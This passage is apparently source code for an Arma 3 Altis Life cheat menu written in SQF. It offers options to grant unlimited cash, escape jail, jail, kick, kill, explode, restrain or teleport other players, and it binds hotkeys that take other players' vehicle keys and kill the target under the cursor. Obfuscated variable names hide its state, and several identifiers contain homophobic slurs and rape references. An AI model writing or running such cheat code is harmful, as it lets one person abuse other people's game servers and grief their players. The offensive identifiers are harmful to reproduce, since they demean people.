- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["No More Tazer", "[]spawn NNNN_IGGG___EEEEEEE_AL_NoTaze", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["All Licenses", "[]spawn NNNN_IGGG___EEEEEEE_AL_Liscenses", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Impound Vehicle", "[]spawn NNNN_IGGG___EEEEEEE_AL_Impound", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["No Transport", "[]spawn NNNN_IGGG___EEEEEEE_AL_NoTransport", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["No Weight Restrictions", "[]spawn NNNN_IGGG___EEEEEEE_AL_NoWeight", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["No More Illegal Activity", "[]spawn NNNN_IGGG___EEEEEEE_AL_NoIllegal", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Drink", "[]spawn NNNN_IGGG___EEEEEEE_AL_Drink", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Eat", "[]spawn NNNN_IGGG___EEEEEEE_AL_Eat", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["All Foods", "[]spawn NNNN_IGGG___EEEEEEE_AL_SuperFoods", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["== EXTASY LIFE ==", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["General Store", "[]spawn NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__Genstore", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Clothing Store", "[]spawn NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__Vetement", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Market Store", "[]spawn NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__Market", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["ATM", "[]spawn NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__Atm", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Remove Stores from Scroll", "[]spawn NNNN_IGGG___EEEEEEE_AL_removestore", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Stop Escorting Player", "[]spawn NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__StopEscortPlayer", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Escape Jail", "[]spawn NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__JailEscape", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Jail Cursor Target", "[]spawn NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__JailPlayer", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["== CASH ==", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["$500k", "[]spawn NNNN_IGGG___EEEEEEE_Cash_1mill", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["$1 Million", "[]spawn NNNN_IGGG___EEEEEEE_Cash_5mill", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["== CASH TARGET ==", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["$500k", "spawn NNNN_IGGG___EEEEEEE_Cash_1mill_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["$1 Million", "spawn NNNN_IGGG___EEEEEEE_Cash_5mill_t", "0", "0", "0", "1", []];
- for [{
- _l26356 = 0
- }, {
- _l26356 <= count(NNNN_IGGG___EEEEEEE_OPTIONS) - 1
- }, {
- _l26356 = _l26356 + 7
- }] do {
- _l26357 = _l77 lbAdd format["%1", NNNN_IGGG___EEEEEEE_OPTIONS select _l26356];
- _l26358 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 2);
- _l26343 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 3);
- _l26344 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 4);
- _l26359 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 6);
- if (count _l26359 == 0) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_run];
- } else {
- _l77 lbSetColor[(lbsize _l77) - 1, _l26359];
- };
- if (_l26358 == "1") then {
- if (_l26357 in NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled) then {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_toggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_on];
- } else {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_nottoggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_off];
- };
- };
- if (_l26343 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title];
- };
- if (_l26344 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_MENU_Sub];
- };
- };
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Target = {
- NNNN_IGGG___EEEEEEE_Sub = false;
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- lbclear _l77;
- NNNN_IGGG___EEEEEEE_OPTIONS = [];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== MAIN MENU ===", "Main_Menu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TROLL MENU ===", "Funmenu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET PLAYER ===", "Target", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET ALL ===", "All", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== VEHICLE SPAWN ===", "Vehicles", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== OBJECT SPAWN ===", "Objects", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== WEAPON SPAWN ===", "Weaponz", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=========================", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["====TARGET====", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Heal", "spawn NNNN_IGGG___EEEEEEE_heal_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Teleport To", "spawn NNNN_IGGG___EEEEEEE_TpToMe_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Teleport Target Here", "spawn NNNN_IGGG___EEEEEEE_TpToThem_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Join Vehicle", "spawn NNNN_IGGG___EEEEEEE_join_vehh", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Loadout", "spawn NNNN_IGGG___EEEEEEE_Target_Loadout", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Jesus", "spawn NNNN_IGGG___EEEEEEE_JesusMode_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["E5P", "spawn NNNN_IGGG___EEEEEEE_E5P_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Spectate", "spawn NNNN_IGGG___EEEEEEE_Spectate_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Kick", "spawn NNNN_IGGG___EEEEEEE_Kick_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Fuck Up", "spawn NNNN_IGGG___EEEEEEE_FuckUp_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Explode Target", "spawn NNNN_IGGG___EEEEEEE_Explode_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Kill", "spawn NNNN_IGGG___EEEEEEE_Kill_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["===VISUAL FILTER===", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Remove Visual Filter", "spawn NNNN_IGGG___EEEEEEE_Remove_VF_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Black/White Thermal", "spawn NNNN_IGGG___EEEEEEE_BlackNWhite_VF_t", "0", "0", "0", "1", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Spiderman", "spawn NNNN_IGGG___EEEEEEE_Spiderman_VF_t", "0", "0", "0", "1", []];
- for [{
- _l26356 = 0
- }, {
- _l26356 <= count(NNNN_IGGG___EEEEEEE_OPTIONS) - 1
- }, {
- _l26356 = _l26356 + 7
- }] do {
- _l26357 = _l77 lbAdd format["%1", NNNN_IGGG___EEEEEEE_OPTIONS select _l26356];
- _l26358 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 2);
- _l26343 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 3);
- _l26344 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 4);
- _l26359 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 6);
- if (count _l26359 == 0) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_run];
- } else {
- _l77 lbSetColor[(lbsize _l77) - 1, _l26359];
- };
- if (_l26358 == "1") then {
- if (_l26357 in NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled) then {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_toggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_on];
- } else {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_nottoggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_off];
- };
- };
- if (_l26343 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title];
- };
- if (_l26344 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_MENU_Sub];
- };
- };
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_fill_All = {
- NNNN_IGGG___EEEEEEE_Sub = false;
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- lbclear _l77;
- NNNN_IGGG___EEEEEEE_OPTIONS = [];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== MAIN MENU ===", "Main_Menu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TROLL MENU ===", "Funmenu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET PLAYER ===", "Target", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET ALL ===", "All", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== VEHICLE SPAWN ===", "Vehicles", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== OBJECT SPAWN ===", "Objects", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== WEAPON SPAWN ===", "Weaponz", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=========================", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["====ALL====", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["E5P", "[]spawn NNNN_IGGG___EEEEEEE_NNNN_IGGG___EEEEEEE_aE5Pj", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Jesus On", "[]spawn NNNN_IGGG___EEEEEEE_JesuseMode_a", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Jesus Off", "[]spawn NNNN_IGGG___EEEEEEE_JesuseModeOff_a", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Teleport All to Vehicle", "[]spawn NNNN_IGGG___EEEEEEE_joinvehicle", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Teleport", "[]spawn NNNN_IGGG___EEEEEEE_TPAll_a", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Time Day", "[]spawn NNNN_IGGG___EEEEEEE_TimeD", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Time Night", "[]spawn NNNN_IGGG___EEEEEEE_TimeN", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["===VISUAL FILTER===", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Remove Visual Filter", "[]spawn NNNN_IGGG___EEEEEEE_Remove_VF_a", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Black/White Thermal", "[]spawn NNNN_IGGG___EEEEEEE_BlackNWhite_VF_a", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Spiderman", "[]spawn NNNN_IGGG___EEEEEEE_Spiderman_VF_a", "0", "0", "0", "0", []];
- for [{
- _l26356 = 0
- }, {
- _l26356 <= count(NNNN_IGGG___EEEEEEE_OPTIONS) - 1
- }, {
- _l26356 = _l26356 + 7
- }] do {
- _l26357 = _l77 lbAdd format["%1", NNNN_IGGG___EEEEEEE_OPTIONS select _l26356];
- _l26358 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 2);
- _l26343 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 3);
- _l26344 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 4);
- _l26359 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 6);
- if (count _l26359 == 0) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_run];
- } else {
- _l77 lbSetColor[(lbsize _l77) - 1, _l26359];
- };
- if (_l26358 == "1") then {
- if (_l26357 in NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled) then {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_toggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_on];
- } else {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_nottoggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_off];
- };
- };
- if (_l26343 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title];
- };
- if (_l26344 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_MENU_Sub];
- };
- };
- };
- };
- };
- if (isNil "NNNN_IGGG___EEEEEEE_SMOKExWEEDxEVERYDAY_BUM_RAPE") then {
- NNNN_IGGG___EEEEEEE_SMOKExWEEDxEVERYDAY_BUM_RAPE = 0;
- };
- if (NNNN_IGGG___EEEEEEE_SMOKExWEEDxEVERYDAY_BUM_RAPE == 0) then {
- NNNN_IGGG___EEEEEEE_SMOKExWEEDxEVERYDAY_BUM_RAPE = 1;
- endLoadingScreen;
- disableSerialization;
- if (!isnil "NNNN_IGGG___EEEEEEE_NUGR") then {
- (findDisplay 46) displayRemoveEventHandler["KeyDown", NNNN_IGGG___EEEEEEE_NUGR];
- };
- NNNN_IGGG___EEEEEEE_NUGRs = {
- switch (_this) do {
- case 59:
- {
- call NNNN_IGGG___EEEEEEE_INIT_MENU;
- };
- case 60:
- {
- onMapSingleClick "vehicle player setPos _pos; onMapSingleClick'';true;";openMap true;;
- };
- case 61:
- {
- call NNNN_IGGG___EEEEEEE_KillCursor;
- };
- case 62:
- {
- hint "Keys for Vehicle Acquired";
- life_vehicles set[count life_vehicles, cursorTarget];
- };
- case 63:
- {
- call NNNN_IGGG___EEEEEEE_deleteC;
- };
- case 64:
- {
- hint "Target Restrained";
- cursorTarget setVariable["restrained", true, true];
- [[player], "life_fnc_restrain", _unit, false] spawn life_fnc_MP;
- };
- case 65:
- {
- private["_unit"];
- _unit = cursorTarget;
- if (isNull _unit) exitWith {};
- if (!(_unit isKindOf "Man")) exitWith {};
- if (!isPlayer _unit) exitWith {};
- if (_unit getVariable "Escorting") exitWith {
- if (isNull _unit) exitWith {};
- detach _unit;
- _unit setVariable["Escorting", false, true];
- };
- _unit attachTo[player, [0, 1, 0]];
- _unit setVariable["Escorting", true, true];
- player reveal _unit;
- showCommandingMenu "";
- };
- };
- };
- waituntil {
- !isnull(finddisplay 46)
- };
- NNNN_IGGG___EEEEEEE_NUGR = (findDisplay 46) displayAddEventHandler["KeyDown", "_this select 1 call NNNN_IGGG___EEEEEEE_NUGRs;false;"];
- ["TaskSucceeded", ["", "Δ΄ΠΌΔ Verified - Press F1"]] call BIS_fnc_showNotification;
- while {
- true
- }
- do {
- if !(isNull(findDisplay 131)) then {
- waitUntil {
- isNull(findDisplay 131)
- };
- sleep 0.5;
- showChat true;
- };
- };
- waituntil {
- !alive player;
- sleep 1;
- };
- NNNN_IGGG___EEEEEEE_SMOKExWEEDxEVERYDAY_BUM_RAPE = 0;
- } else {};
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